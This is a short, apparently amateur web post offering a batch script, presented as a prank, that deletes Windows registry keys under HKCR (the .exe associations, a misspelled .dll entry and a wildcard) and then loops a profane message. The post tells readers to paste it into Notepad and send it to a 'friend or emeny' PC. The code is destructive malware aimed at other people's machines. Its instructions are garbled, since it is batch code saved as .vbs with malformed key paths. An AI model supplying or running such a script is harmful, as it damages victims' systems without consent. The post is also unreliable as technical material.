how to delete registry key of computer[ do at your risk] code given below
delete key of registry file
open note pad and type/copy code
@ECHO OFF
start reg delete HKCR/.exe
start reg delete HKCR/.dill
start reg delete HKCR/*
:message
ECHO YOUR COMPUTER HAS BEEN FUCKED
GOTO MESSAGE
save it as reg.vbs
try at ur risk don't run on your pc
send to friend or emeny pc